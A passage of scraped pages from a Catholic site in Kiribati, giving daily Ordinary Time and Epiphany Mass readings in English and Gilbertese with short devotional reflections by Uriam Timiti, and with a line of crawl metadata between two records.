the people; he did that once for all when he offered himself. For the law appoints men subject to weakness to be high priests, but the word of the oath, which was taken after the law, appoints a son, who has been made perfect forever.\nThe main point of what has been said is this: we have such a high priest, who has taken his seat at the right hand of the throne of the Majesty in heaven, a minister of the sanctuary and of the true tabernacle that the Lord, not man, set up. Now every high priest is appointed to offer gifts and sacrifices; thus the necessity for this one also to have something to offer. If then he were on earth, he would not be a priest,\nsince there are those who offer gifts according to the law. They worship in a copy and shadow of the heavenly sanctuary, as Moses was warned when he was about to erect the tabernacle.\nFor God says, \"See that you make everything according to the pattern shown you on the mountain.\" Now he has obtained so much more excellent a ministry as he is mediator of a better covenant, enacted on better promises.\nResponsorial Psalm: 40:7-8a, 8b-9, 10, 17\nResponse: Here am I, Lord; I come to do your will.\nSacrifice or oblation you wished not, but ears open to obedience you gave me.\nBurnt offerings or sin-offerings you sought not; then said I, \"Behold I come.\"R.\n\"In the written scroll it is prescribed for me, To do your will, O my God, is my delight, and your law is within my heart!\"R.\nI announced your justice in the vast assembly; I did not restrain my lips,\nas you, O LORD, know. R.\nMay all who seek you exult and be glad in you,\nAnd may those who love your salvation say ever, \"The LORD be glorified.\" R.\nAlleluia, alleluia.\nOur Savior Jesus Christ has destroyed death and brought life to light through the Gospel. Alleluia, alleluia.\nGospel: Mk 3:7-12\nJesus withdrew toward the sea with his disciples. A large number of people followed from Galilee and from Judea.Hearing what he was doing, a large number of people came to him also from Jerusalem, from Idumea, from beyond the Jordan, and from the neighborhood of Tyre and Sidon.\nHe told his disciples to have a boat ready for him because of the crowd, so that they would not crush him. He had cured many and, as a result, those who had diseases\nwere pressing upon him to touch him. And whenever unclean spirits saw him they would fall down before him and shout, \"You are the Son of God.\" He warned them sternly not to make him known.\nTibatiba:Iai te berebitero ae rietata are tekateka ngkai I angatain te Kaintoka n Uea ae moam te kakannato i Karawa\nTariu ao maneu inanon maiura aio ao ti kakoaua ba oao ibyakoura aika iai nakoaia ba taian berebitero. Nakoaia te korakia aikai bvon tet tei marinara ma tiare t aki kon n noria ba te tamnei ao tao e maseka n aonnaba teuana itinanikun te aonnaba aio. Bon iai ara oni,alko obituoa b aba a na kona ni buaokort ni katomaira ma temanna ke Atua are ngia ar e tautaeka iaon bai nako ao te tia buaokira ni kainnanora nako.\nNi maiura ni kiritian I aonteaba ao ti kakoaua ba inanon kororaoin te tai ao E kanakoa Natina ae te Rikitemanna te Atua ae Iesu ba E na uota te kamaiuaki nakon aonnaba ngke E maraki man tauraki iaon te kaibangaku ba E na kaboira iai ao ni karikira ba Nati ngaira ao tan baibai n te Abanuea ae Karawa. E a tia mi kautaki Iesu man te mate ao E a tekateka ngkai i angatain te Tama. Iesu e a riki naba ngkai ba te berebitero ae moan te Rietata ao te tia tei imarenara ma te Tama ao te tia karokoira i Karawa inanon te kabaia ao te mimitong ae akea tokina.Boni Ngaia te berebotero are kateia ana beribetero iaon te aba ba tan anganira taian takarametu ae ti kainnanoi ibukin kairara ao karokoara n te Abanuea.\nNgkai ti kakoaua ba e a tei ngkai Iesu i angatain te Atua ao boni ngaia ae na motiki taekara n tokin ara borau n te maiu aio, Boni Ngaia te tia kamarakeira n ara borau aio ba ti aonga ni kona n roko i Karawa. Ti kakaraoa Nanon te Uea ni maiura aio ao ti na kauaki nanora nakon ana tangira ma ana nanoanga te Atua ao ti na nim ma te Uea n tai nako ba E aonga n taui baira Iesu nakon mwnegara ni koaua iraikina i Karawa.\n- Details\n- Written by Uriam Timiti\n-\nWednesday of the Second Week in Ordinary Time\nReading I: Heb 7:1-3, 15-17\nMelchizedek, king of Salem and priest of God Most High, met Abraham as he returned from his defeat of the kings and blessed him.\nAnd Abraham apportioned to him a tenth of everything. His name first means righteous king, and he was also \"king of Salem,\" that is, king of peace.\nWithout father, mother, or ancestry, without beginning of days or end of life,\nthus made to resemble the Son of God, he remains a priest forever. It is even more obvious if another priest is raised up after the likeness of Melchizedek, who has become so, not by a law expressed in a commandment concerning physical descent but by the power of a life that cannot be destroyed.\nFor it is testified: You are a priest forever according to the order of Melchizedek.\nResponsorial Psalm: 110:1, 2, 3, 4\nYou are a priest for ever, in the line of Melchizedek.\nThe LORD said to my Lord: \"Sit at my right hand till I make your enemies your footstool.\" R.\nThe scepter of your power the LORD will stretch forth from Zion: \"Rule in the midst of your enemies.\" R.\n\"Yours is princely power in the day of your birth, in holy splendor; before the daystar, like the dew, I have begotten you.\" R.\nThe LORD has sworn, and he will not repent: \"You are a priest forever, according to the order of Melchizedek.\" R.\nAlleluia, alleluia.\nJesus preached the Gospel of the Kingdom and cured every disease among the people. R. Alleluia, alleluia.\nGospel: Mk 3:1-6\nJesus entered the synagogue. There was a man there who had a withered hand. They watched Jesus closely to see if he would cure him on the Sabbath so that they might accuse him. He said to the man with the withered hand, \"Come up here before us.\"\nThen he said to the Pharisees, \"Is it lawful to do good on the sabbath rather than to do evil, to save life rather than to destroy it?\"\nBut they remained silent. Looking around at them with anger and grieved at their hardness of heart, Jesus said to the man, \"Stretch out your hand.\" He stretched it out and his hand was restored. The Pharisees went out and immediately took counsel with the Herodians against him to put him to death.\nTibatiba: Ko na riki ba te berebitero n tai nako n ai aron Merekitereka\nTariu ao maneu ti na reitira n te bong aio n uringia ara berebitero iaoni ao i tinanikun Kiribati n ana muioko te Uea ba a na riki ba ana berbitero n aki totoki n aiaron Merekitereka. Ti uringia ara berebitero ake a tia n rimoara ao aika a taonaki n te aoraki ba a na anganaki te marurung man aorakia ao a na kakaonimaki ni karaoi tabeia ni kawakintibu ma te nanorinano ao te kakaonimaki. N tabetai ao a maraki nanora irouia n aia waki ni kairiri ao n aki maiuakina raoi aia berita ma te Uea ba a na karaoi tabeia ma te ongotaeka ao te karinerine. Ti na butia naba te Uea ba e na kawakinia inanon nakoaia ni maiukinakina kanoan aia berita n ongotaeka ao n aki iein.\nTariu ao maneu ko kakaraoa tabem n tataro ibukia am berebitero? E koaua ba bon aio teuanan mamarara ni koaua ngaira tan onimaki ba ti aki ururingia ara berebitero n ara tataro ao ti tatauraoi ni waekoa ni winnatia. Ti na karekea tabera n uringa n ara tataro ni katoa bong ba a boni kainnanoa ara tataro. Ngkana e bon riai ao ti na aki tabara ni maroro ma ngaia ao ni waekoa ni boaia n mamaraia.\nTe bai riki teuana ae rangi ni kakawaki ba ti na riai naba n tauraoi ni kareania natira nakon te nakoa ae tabu ngkai a bon rangi ni kainnanoaki. Ti na tataro ibukia natira ma tibura ba e na reke irouia te tauraoi ni kaburei maiuia n riki ba ana berebitero te Uea. Boni ngaia tan karokoi taian takaramentu nakoia aomata ao tan tia karokoa te Uea n rabatana ae te Eukari nakoia aomata nako. Ti na buokia naba ara berebitero ba a na teimatoa n riki ba berebitero n aki toki n ai aron Merekitereka.\n- Details\n- Written by Uriam Timiti\n-\nWiki 1 Kanimabong\nWarekan te Reta nakoia Ebera…4: 1-5, 11\nE teimatoa naba ibukira ana motintaeka te Atua nakoia Iteraera ba a na rin inanon ana motirawa; ma ngaia ae ke tai taku temanna i buakomi ba e aki kauia. Ba ti anganaki naba ngaira te rongorongo ae Raoiroi n ai aroia ngaia. Ma akea uan te taeka are a anganaki, kioina ngke a aki botaki n onimaki ma uake a ongora. Ba ti rin n te motirawa, ngaira tan onimaki, n ai aron te taeka are kangai: \"I taetae n tuea ma te un ni kangai: A na aki rin i nanon au motirawa.\"\nA boni bane ana makuri te Atua ngke e karikaki aonaba, Ba E taekina te kaitibong ni kangai, n te tabo teuana: \"Ao E motirawa te Atua n te kaitibong man ana makuri ni kabane.\" Ao E manga kangain te tabo teuana: \"A na aki rin I nanon au motirawa.\"\nMa ngaia ae tin a keiaki n rin i nanon te motirawa anne, ba e aonga n aki bua temanna ni kairiri n te aki ongotaeka arei,\nTe Taramo 77: 3-4, 6-8\nKaekana: tai manuokin ana makuri te Uea.\nTe baera ti ongo taekana, Are a kaongoira ara bakatibu,\nAo ti na kawakinna nakon te roro ae na roko. Ao ana makuri aika kamimite Uea ma maakana. K\nA riai naba ngaia ni kaongoia natia, Ba a aonga n onimakina naba te Atua,\nN aki manuokin ana makuri te Atua, Ma a na kawakin ana tua. K\nA aonga n aki katotongia aia bakatibu, ake te roro n aki muti ma n aki ongeaba,\nba te roro ae nano tiotio, n aki kakaonimaki nakon te Atua. K\nAlleluia, alleluia.\nNgkana kam ongo banana n te bong aei Ao tai kamatoai nanomi, Alleluia.\nEuangkerio\nWarekan ana Euangkerio Mareko..2: 1 - 12\nE okira Kaberenaum Iesu, ao a ongo aomata ba E mena n te auti. Ao a botaki iai aomata aika maiti n te aro ae akea te tabo ae mawa, ba e riba naba matan te mataroa. Ao Ngaia E reireinia te Taeka. E uotaki nakoina temanna te nakibaina are tabekaki irouia aomata ake uoman. Ma a aki kona n nakoina i bukin te koraki, ao a kabara taubukin te auti i etan te tabo are E tei iai ni karekea te bangabanga, ao a nna iai te kainiwene ma te nakibaina i aona. Ngke E nora aia onimaki Iesu, ao E taku nakon te nakibaina: \"Natiu, a bara am bure.\"Iai tani korobki tabeman i buakon te koraki, ao a kanga i nanoia: \"E kanga n taekinna anne? E baka n atua! antai ae kona ni kabarai bure? ao bon ti te Atua!\" E atai aia iango Iesu i nanona, ao E taku nakoia: \"E aera ngkai kam iangoa anne i nanomi? Tera ae bebete riki atongana? 'A bara am bure ke 'Teirake, tabeka am kainiwene, ao nakonako'? Ma kam na ataia ba iai makan Natin te aomata ni kabarai bure i aon te aba,\"ao E kangai nakon te nakibaina: \"I tuangko, teirake, tabeka am kainiwene, ao nakon am auti.\"Ao e teirake naba n tabeka ana kainiwene, ao e otinako i mataia aomata ni bane. A bane ni mimi, ao a neboa te Atua ni kangai: \"Ti tuai man nora te aro aei!\"\nTibatiba: Kawakinan ao taetaekinan ana Taeka te Atua inanon roro ma roro\n- Details\n- Written by Uriam Timiti\n-\nTuesday of the Second Week in Ordinary Time\nReading I: Heb 6:10-20\nBrothers and sisters: God is not unjust so as to overlook your work and the love you have demonstrated for his name by having served and continuing to serve the holy ones. We earnestly desire each of you to demonstrate the same eagerness for the fulfillment of hope until the end, so that you may not become sluggish, but imitators of those who, through faith and patience, are inheriting the promises.\nWhen God made the promise to Abraham, since he had no one greater by whom to swear, he swore by himself, and said, I will indeed bless you and multiply you.\nAnd so, after patient waiting, Abraham obtained the promise. Now, men swear by someone greater than themselves; for them an oath serves as a guarantee and puts an end to all argument. So when God wanted to give the heirs of his promise an even clearer demonstration of the immutability of his purpose, he intervened with an oath, so that by two immutable things, in which it was impossible for God to lie, we who have taken refuge might be strongly encouraged to hold fast to the hope that lies before us. This we have as an anchor of the soul, sure and firm, which reaches into the interior behind the veil, where Jesus has entered on our behalf as forerunner, becoming high priest forever according to the order of Melchizedek.\nResponsorial Psalm; 111:1-2, 4-5, 9 and 10c\nR: The Lord will remember his covenant forever.\nI will give thanks to the LORD with all my heart, in the company and assembly of the just. Great are the works of the LORD, exquisite in all their delights. R.\nHe has won renown for his wondrous deeds; gracious and merciful is the LORD.\nHe has given food to those who fear him; he will forever be mindful of his covenant. R.\nHe has sent deliverance to his people; he has ratified his covenant forever;\nholy and awesome is his name. His praise endures forever. R\nAlleluia, alleluia.\nMay the Father of our Lord Jesus Christ enlighten the eyes of our hearts, that we may know what is the hope that belongs to our call. Alleluia, alleluia.\nGospel: Mk 2:23-28\nAs Jesus was passing through a field of grain on the sabbath, his disciples began to make a path while picking the heads of grain. At this the Pharisees said to him, \"Look, why are they doing what is unlawful on the sabbath?\"\nHe said to them, \"Have you never read what David did when he was in need and he and his companions were hungry? How he went into the house of God when Abiathar was high priest and ate the bread of offering that only the priests could lawfully eat, and shared it with his companions?\"\nThen he said to them, \"The sabbath was made for man, not man for the sabbath.\nThat is why the Son of Man is lord even of the sabbath.\"\nTibatiba: Kateimatoai ngkami inanon te onimaki ni karokoa koron nanon te kantaninga are katauraoia te Uea ibukira n aki totoki\nTariu ao maneu I reitai ma ngkami inanon te botoniango are I kateia nakooira n te bong aei ba te kaunano nakoira ba ti aki bakataea ana tangira te Uea nakoira ba e na koro bukin ana kantaninga are ti na bane n maeka ma Ngaia inanon te kabaia ao te mimitong ae akea tokina n te tai ae na roko imuin te maiu aio.Ti kainnanoa ana nanoanga te Atua ba ti na baina te nanomatoa ao te aki barannano ba ti aonga ni bane n nora bukin ana kantaninga te Atua ba ti roko n te Abanuea are E a tia ni katauraoia ba mwengara ni koaua n aki totoki.\nTi na bane ni kaungai ao ni kamatoai nanora ba ti na aki kamatebuaka te baintangia ae ti a tiba anganaki inanon te Kiritimati ae a tiba nako ba ti na bane ni karekea te kamaiuiai are anganira Iesu ngke bungiaki ao E riki n iriko ao E maeka ibuakora.\nTi na bane ni butimaea buokara ae anganira te Atua rinanon te Ekaretia ba ti na uaia ,amamga inanon ara borau n te ririki aio ma Tinan te Atua ae Nei Maria ao tinara naba ao e na taui baira ba ti toua kawain Natina ae Iesu inanon te ririki aio.Ti na kaungaia naba kain aa auti ao ara utu ni kabane ba a na reita naba te maati inanon te ririki aio nakon te Aba ni Berita are tataningaira i Karawa.\n- Details\n- Written by Uriam Timiti\n-\nWiki 1 Kaabong\nWarekan te Reta nakoia Ebera. 3: 7-14\nE kangai te Tamnei ae Raoiroi: \"Ngkana kam ongo banana n te bong aei, ao tai kamatoai nanomi, n ai aromi n tain te kauntaeka ni bongin te kataki i nanon te rereua, ngke a kataai ma ni karawawataai ami bakatibu, i muin noran au makuri i nanon abui te ririki. Ma ngaia are I un nakon te roro arei, ao I kangai: A aki toki ni kairua nanoia, a aki ota n au katei; ai ngaia are I taetae n tuea ma te un ni kangai: A na aki rin i nanon au motirawa.\"Tarataraingkami, tari, ba e na akea temanna i buakomi ae e na reke irouna te nano ae buakaka ma te rawa n onimaki, ba e na kitana te Atua ae maiu. Kaungai nanomi i boni iroumi ni katoa bong ao ni kabongnga, ba e aonga n akea temanna i buakomi ae e na kamatoaki nanona n ana kariri te bure. Ba ti buokanibai ma Kristo ti ngkana ti kawakina ara moan onimaki ni matotoa, ni karokoa te toki.\nTe Taramo 94: 6-11\nKaekana: Ngkana kam ongo banana, ao tai kamatoai nanomi\nRin, bobaraki, Katorobubua, Ti na taromauria te Uea ae karikira. Bon Atuara Ngaia,\nao ngaira ana botanaomata ae E kairia, ma ana nanai ae E kawakinna ni baina. K\nOngora n ana taeka n te bong aei: \"Tai kamatoai nanomi n ai aroma i Meriba\nNgke kam mena I Matia n te rereua, Ngke e kataai ma ni kaunai ami bakatibu,\nAo a bon nori au makuri. K\nA kaunai te roro aei abui te ririki, Ao I kangai: \"Bon te botanaomata ae nanoro,\nae aki Ota n au katei. Ao I taetae n tuea ma te un, ni kangai:\n\"A na bon aki rin i nanon au motirawa.\" K\nAlleluia, alleluia.\nTe Uea, reireiai kawaiu, kairai n te kawai ae eti Alleluia.\nEuangkerio\nWarekan ana Euangkerio Mareko. 1: 40 – 45\nE kawara Iesu temanna te rebera, ni butia, ao e katorobubua ma n taku: \"Ngkana nanom, ao Ko kona ni kamaiuai.\"e rotaki Iesu n te nanoanga, ao E arora baina n ringnga, ao E taku: \"Bon nanou, ko na maiu.\" Ao e toki naba reberana, ao e marurung. Ma E karawawata ana taeka nakoina temanna, ma nako, kaotiko nakon te berebitero, ao anga te karea are e baireia Mote, i bukin kamaiuam, ba aia bai ni kakoaua.\" Ma ngke e nako, ao e taekinna ma ni katanoata rongorongona. Ao ngkanne E aki kona n rin Iesu n te kawa teuana, n aki karaba; ma E titiku i tinaniku, n tabo aika rereua; ao E kawaraki man tabo nako.\nTibatiba: Ngkana kam ongo banana n te bong aio, ao tai kamatoai nanomi\nTariu ao maneu ti a tia tuangaki ba e tia n taetae te Atua nakoira n aro ao n anga aika a bati ma n te tai aio ao e taetae te Atua iroun Natina ae Iesu are a tiba bungiaki nakoira inanon te Kiritimati. Inanon kororaoin te tai ao e kanakoa Natina te Atua ba e na bungiaki iroun Nei Maria ao ngkai ti a tia n noria ao n ongo banana n tai aikai. Irarikin nnne ao e a tia naba te Uea ni muiokoia ana botanaomata te Atua ba a na kabuta te rongorongo ae raoiroi nakon tokin aonnaba ao a na babetitoia te koraki n aran te Atua ae te Teniman Temanna ae te Tama, te Nati ao te Tamnei ae Raoiroi. E anganira naba ana taeka ae tabu n te Baibara ba te tia kairira nakon are Nanona ao e a tia naba ni katuka ana baintangira ae kakawkai nakoira ae bon Rabatana ae Maiu n te Eukari.\nBon ti teuana ana kantaninga te Atua ba e tangiria ba ti na bane maeka irarikina n te Abaniea ae Karawa ke Ierutarem ae Bou. Aio bon te tabo ae ti na aki manga nora te tang ma te mate ao te nanokawaki iai ma bon te tabo are ti katonga iai kororaoin te kukurei inanon te mimitong ae aki totoki,\nE a manga kauringira Iesu n te bong aio ba ngkana ti ongo banana n te bong aio ao ti na aki kamatoai nanora. Eng nanon ana taeka Iesu aio ba e bon rawawata nanona ngkana ti rawa n ongo banana ba ti na bon karekea te mate ae akea tokina ao ti na bon kabua te kamaiuaki are e a tia n anganira ngke e maraki ao e tine iaon te kaibangaki ao e mate ibukira. E bon rawa nanon Iesu ba e na norira ba ti na nakon te mate ao te kabuakakaki ae akea tokina.\nTe nano ae maraurau ao ae nanorinano bon ngaia kingin te kamaiuaki ae kan anganira Iesu. E na bon rotira te ranga n ran ni kamaiu ngkana ti baina te nano ae mangori, ae rinano ae kona n ranga nako iai te te ran ni kamaiu. Ti na bubutia te Atua ae maka man nanoanga ba e na anganira nanora aika maraurau aika a na kai rotaki n ana taeka te Atua ae na anganira tiaki ti n te bong ma ni kananei bongin maiura.","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira","date":"2021-01-21T18:28:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703527224.75\/warc\/CC-MAIN-20210121163356-20210121193356-00277.warc.gz","language":"gil","language_score":0.9997873902,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9997873902320862}","num_words":3775,"character_repetition_ratio":0.04,"word_repetition_ratio":0.008,"special_characters_ratio":0.227,"stopwords_ratio":0.272,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Kanan Tamneira...\n- Details\n- Written by Uriam Timiti\n-\nWiki 1 Katenibong\nWarekan te Reta nakoia Ebera..2: 14-18\nA buokanibai natia aomata n te rara ma te iriko. Ao ai aron naba Kristo, E buokanibai iai ma ngaia, ba E mate, ni kataea iai ana kai teuare ana bai makan te mate, are bon te riaboro; ao E na kainaomataia iai ake a bane n toronaki ni makakin te mate ni kabanei aia tai ni maku. Ba E aki tabeakinia anera, ma E tabeakinia ana kariki Aberaam. Ai ngaia are E bae n riki ba ai aroia tarina ni bai ni kabane, ba E na riki ba te mataniwi ni berebitero ae nanoanga ma ni kakaonimaki, i bukin aroia ma te Atua, ao E na kaboi muin aia bure te botanaomata. Ba E taonaki Ngaia n te rawawata, ao E kona iai ni buokiia akana karawawataki.\nTe Taramo 104: 1-4, 6-9\nKaekana: E uringa ana berita te Uea n aki toki.\nKatituaraoa te Uea, neboa arana, Kaongoia botanaomata ana makuri aika kamimi.\nAneneia, anenea arana, Katanoatai ana makuri aika kamimi. K\nKamoamoai ngkami n arana ae tabu, Ke a kabaia akana ukeria.\nUkera te Ua ma makana, Ukera matana n tai nako. K\nNatin Aberaam ae ana toro, Natini Iakoba aika E rineia,\nBon Atuara te Uea, E motikitaeka i aonaba ni kabuta. K\nE uringa ana berita n tai nako, Ba te taeka i bukin te nga n roro,\nAna berita nakon Aberaam, Ao ana taeka n tuea nakoni Itaaka. K\nAlleluia, alleluia.\nAtuau, reireiai am kawai, kairai inanon am koaua. Alleluia.\nEuangkerio\nWarekan ana Euangkerio Mareko.. 1: 29 – 39.\nNgke E otinako Iesu man te tinakoka, ao E nakon ana auti Timon ma Anterea, ao raona Iakobo ma Ioane. E wene tinani bun Timon, ba e kabuebue, ao E tuangaki Iesu taekana. E nakoina Iesu, ao E taua baina ni kateirakea. Ao e toki kabuebuena, ao e kaamarakeia. Ngke e a tairiki, i muin bungin taai, ao a uotaki nakoina aoraki ni bane ma ake a taniaki irouia taimonio, ao a bane ni botaki kain te kawa i rarikin te mataroa. E kamaiuia ake a maiti man aekan aoraki nako, ao E kanakoia taimonio ake a maiti; ma E tukia taimonio n taetae, ba ataia ba antai ngaia. ngke e a karangaina, i main otin taai, ao E teirake n otinako, ni kaea te tabo ae akea kaina, ao E tataro iai. E mananga n rimuina Timon ma uake raona. Ngke a roko irouna, ao a taku nakoina: \"A bane aomata n ukeriko.\"e kaekaia ni kangai: \"Ti na kitana ikai, ni kawari kawa aika kan, ba N na reirei naba iai, ba bon anne bukini kanakoau.\"Ao e mananga ni kabuta Kariraia n reirei n aia tinakoka, ma ni kanakoia taimonio.\nTibatiba: E uringa ana berita te Uea n aki toki.\nTariu ao maneu e kona ni maninga taekara te Atua? Ti riai n kakoaua ba e kororaoi ana tangira ma ana nanoanga te Atua n tai nako ibukina ba bon aio anuan ao kabarabaran te Atua. Nge e kariki bai te Atua ao ti ongo ba n tokin te bong teuana man te Moanibong ni karokoa te Kaonobong ao ngkana E tara te bai ae E a tia ni karikia te Atua ba e tamaroa ao e raoiroi. E kaotaki ikai ba bai nako aika E karaoi te Atua a bane n nakoraoi ba a kaota anuan te Atua ae kororaoi n te tamaroa ma te raoiroi. Ngaia are ti kakoaua ikai ba bon akea te tai ae kona ni bitaki iai aron te Atua ba E a bon kokoraoi naba n tai nako. Ti tuangaki n taian wareboki ba e bon aki kona ni manuokina taekara te Atua ba E a tia ni koroi arara inanon raraun baina ao E tararuaira n tai nako. Ti nora naba aron kakawakin ana berita te Atua ma te boranaomata ba e teimatoa ao e kawakina ana berita n tai nako nakon Aberaam, Itaaka ao Iakoba. Aio are kaotaki iai ba inanon ririki aika bakanako ao E kawakina ana te berita are e a tia karaoia te Atua ma ara bakatibu inanon roro ma roro.\nInanon naba aia tai n taenikai Iterarea ao aki toki ni manga kauringa te Atua aron ana berita n akoi are a tia ni karaoaia ma aia bakatibu. Tariu ao maneu ti bon riai n aki tabeaianga iroun te Atua ba ti kanga. E bon aki kona ni manuokinira ao e na bon teimatoa ana akoi ma na nanoanga nakoira tr Atua, ti ngkana ti rineia ba ti na maiu n tai nako inanon te raoiroi ao ti na kakaraoa Nanon te Atua.\n- Details\n- Written by Uriam Timiti\n-\nWiki i muin te Ephiphany Kauabong\nWarekan ana moa n Reta Ioane. 4: 7-10\nNgkami aika kam tatangiraki, ti na itangitangiri, ba boni mairoun te Atua te tangira; ane iai ana tangira, ao e riki mairoun te Atua, ao e ata te Atua. Ane akea ana tangira, ao e tuai n ata te Atua, ba bon te tangira te Atua. E kaotaki nakoira ana tangira te Atua n aei: E kanakoa Natina ae te Rikitemanna te Atua nako aon te aba, ba ti aonga ni maiu irouna. Ao aei aron ana tangira: tiaki ngaira aika ti tangira te Atua, ma boni Ngaia are tangirira ao E kanakoa Natina ba te karea i bukini kabaran ara bure.\nTe Taramo 72: 1-4, 7-8\nKaekana: A na bane botanaomata n taromauriko, te Uea.\nTe Atua, angan te Uea am moti, angan natin te Uea am eti,\nba e na kaira am botanaomata ma te eti ma ni kaeti taekaia am aomata\naika kainnano. K\nKe a uota te raoi maunga nakon te botanaomata, ke a uota te eti tabuki.\nE na kaeti taekaia akana kananoanga, E na kamaiuia natia kainnano K\nE na rikirake te eti n ana tai, E na matoa te raoi n aki toki.\nE na tautaeka mai marawa nako marawa, Ao man te Karanga nako tabon aonaba. K\nAlleluia, alleluia.\nE taekina te Rongorongo ae Raoiroi Iesu, Ao e kamaiuia aoraki. Alleluia.\nEuangkerio.\nWarekan ana Euangkerio Mareko.: 6: 34-44\nNgke E aerake Iesu man te boti, ao E noria aomata ake a uanao, ao E nanoangaia, ba ai aroia tibu aika akea te tia kawakinia. Ao E kamanna n reireinia. Ngke e a kaan te bong, ao a nakoina ana reirei, ao a taku: \"Bon te rereua te tabo aei, ao e a kaan te bong; kaokiia nakon aia tabo tan ribana ma kawa aika kaan, ba a na kaboi kanaia iai.\" E kaekaia ni kangai: \"Kaamarakeia, ngkami.\" A taku nakoina: \"Tao ti na nako ni kaboi bwerena n uabubua te tenario ba kanaia?\" Ma E taku Iesu: \"Iraua ami bwerena? Nako,noria.\" Ngke a tia n noria, ao a taku: \"Nimaua, ao uoman te ika.\"Ao E tuangia ba a na katekatekaia, n tibatibaia n taiani koraki, i aon te uteute ae mawawa. Ao a tekateka i aontano n taiani koraki ake tatabebubua ke kakanimangaun. Ao E anai bwerena ake nimaua ma ika ake uoman, ao E tararake nako karawa ma n atonga te karaoiroi, ao E ototoi bwerena n angania ana reirei ba ana tibatibai. Ao E tibatibai naba ika ake uoman nakoia ni kabaneia. A bane n rauaki n amarake, ao a rikoaki tengauni ma uakora te baene, ake a on n nikirani bwerena ma ika. Ao maitia mane ake a kangi bwerena, nimanga.\nTibatiba: E kamarakeira te Atua ma te rauaki ngkana ti maiuakina ana Tangira\nTariu ao maneu e weteira Iesu ba ti na iriria n tai nako ao ngkana ti kaeka ana wewete ao e berita nakoira ba e na anganira te rauaki n tai. N te bong aio ao ti a manga ongora aron Iesu ni kamarakeia te koraki ae nimanga maitia ake a iriria n ongora n ana reirei ao ana kabarabara.\nE kauringira ikai Iesu ba ngkana ti tauraoi n anga maiura ma arora ni kabane nakoina ao n tabeakina Nanon ao E na bon tabeakinira n arora ni kabane ao a na bon akea tabeaiangara ba E na tararuaira n tai nako. Bon Nanon te Atua ibukira ba ti na muiankina ana tangira nakoia tarira ma manera ba ti aonga ni kaotia ba ti mananga mairoun ao E maeka te Atua inanora ao ti na bon raonna naba ni mate ao nu mangauti ma Ngaia nakon te mimitong.\nTi na kekeiaki n tai nako ni butimaea te amarake are kakatauraoi Iesu ibukira n te Eukari. Bon aio te amarake ni borau ae ruo mai Karawa ae na karokoira n te Abanuea ae Karawa. Ngkana ti teimatoa ni maiuakina ana tangira Iesu ao n tabeka ara kaibangaki ao n irira Iesu ao ngkanne ti na bon koaua ba ti na roko n tokin kawaira are bon mwengara ni koaua are E a tia katauraoia te Uea ibukira. Ti na butia tinara Nei Maria ba e na taui baira n tai nako ba ti aonga n totoua kawain Natina ae Iesu.ao ni katonga te kabaia ae akea tokina I Karawa.\n- Details\n- Written by Uriam Timiti\n-\nWiki i muin te Epiphany Kanimabong\nWarekan ana moa n Reta Ioane. 5: 5-13\nAntai ae kataea ana kai aonteaba? Bon teuare kakoaua Iesu ba Natin te Atua. Boni Ngaia Iesu Kristo are roko n te ran ao n te rara; tiaki ti te ran, ma boni n te ran ao te rara. Bon te Tamnei te tia kakoaua. Ma ngaia ae bon teniman tani kakoaua: ba te Tamnei, te ran ao te rara, ao a borai ngaia n teniman. Ti kariaia aia kakoaua aomata, ma e kakanato riki ana kakoaua te Atua. Ao aei ana kakoau te Atua n taekan Natina: ane kakoaua Natin te Atua, ao e mena i nanona ana kakoaua te Atua. Ane aki kakoaua te Atua, ao e arana te Atua ba te tia kewe ngkai e rawa n ana kakoaua te Atua n taekan Natina. Ao aei te kakoaua anne: E anganira te maiu ae aki toki te Atua, ao e mena te maiu anne i nanon Natina. Ane iai te Nati irouna, ao iai te maiu irouna; ane akea te Nati irouna, ao akea te maiu irouna.\nI koroi baikanne nakoimi ba kam aonga n ataia ba iai te maiu ae aki toki iroumi, ngkai kam kakoaua aran Natin te Atua.\nTe Taramo 147: 12-15, 19-20\nKaekana: Ierutarem, neboa te Uea.\nIerutarem, neboa te Uea, Tion, neboa Atuam.\nE kamatoai kaini mataroam, E kakabaiaia natim akana i nanom. K\nE kawakina te raoi i aon tiam, E kanuaiko ni burawan te uita.\nE kanakoa ana taeka nako aon te aba, e buti maka ana rongorongo i aona. K\nE kaota ana taeka nakoni Iakoba, ao ana tua ma ana moti nakoni Iteraera.\nE aki karaoa anne nakon te aba riki teuana: a aki atai ana makuri. K\nAlleluia, alleluia\nE na neboaki Kristo ae kaoti i aon te aba, E na neboaki irouia akana kakoaua. Alleluia.\nEuangkerio\nWarekan ana Euangkerio Ruka…5: 12-16\nE mena Iesu n te kawa teuana, ao e roko temanna te aomata ae e buta rabatana n te rebera. Ngke e nora Iesu, ao e baka ni bobaraki i matana ma ni butia ni kangai: \"Te Uea, ngkana nanom, ao Ko kona ni kamaiuai.\" E arora baina Iesu n ringnga, ao E kangai: \"Bon nanou, ko na maiu.\" Ao e a mauna naba reberana. E tua Iesu nakoina ba e na aki kaongoa temanna, ao E kangai nakoina: \"Nako, kaotiko nakon te berebitero, ao anga te karea i bukini kamaiuam, n ai aron ana baire Mote, ba te bai ni kakoaua i bukia.\"\nE buti nako taekana ma n raka nako, ao a baneakinna aomata ake a maiti, ba a na ongora irouna ao ana katokaki aorakia. Ma E nanako Ngaia nakon tabo aika rereua, ao E tataro.\nTibatiba: Ane iai te Nati irouna, ao iai te maiu irouna\nTao e na riai ni matata raoi iroura ngkai ba tera nanon Kiritimati ao tera oin kantaninga te Atua ibukira ba ti aonga n reita nako ana baintangira te Atua ae ti a tia ni karekea n te Kiritimati. N te bong aio ti a manga kauringaki ba e na koro nanon te kiritimati nakoira ngkana ti onimaki ao ti kakoaua ba Iesu bon Natin te Atua ae e roko ni kawarira ba ti aonga ni bane ni kamauiaki. Ao ngkana ti kakoaua Iesu ba natin te Atua ao e na maeka ni koaua ngkana ti maiuakina te tangira are E tia n anganira ngke e maraki ao mani mate ibukira iaon te kaibangaki. Eng e na bon maeka ni koaua inanora Iesu ngkana ti kakoaua ao ti ira nanona ni maiuakina ana tangira nakoia raora. Ao ngkana ti maiuna ana tangira ao ngkanne E na bon maiu ni koaua inanora Iesu. Are nanona ba ngkana E maiu 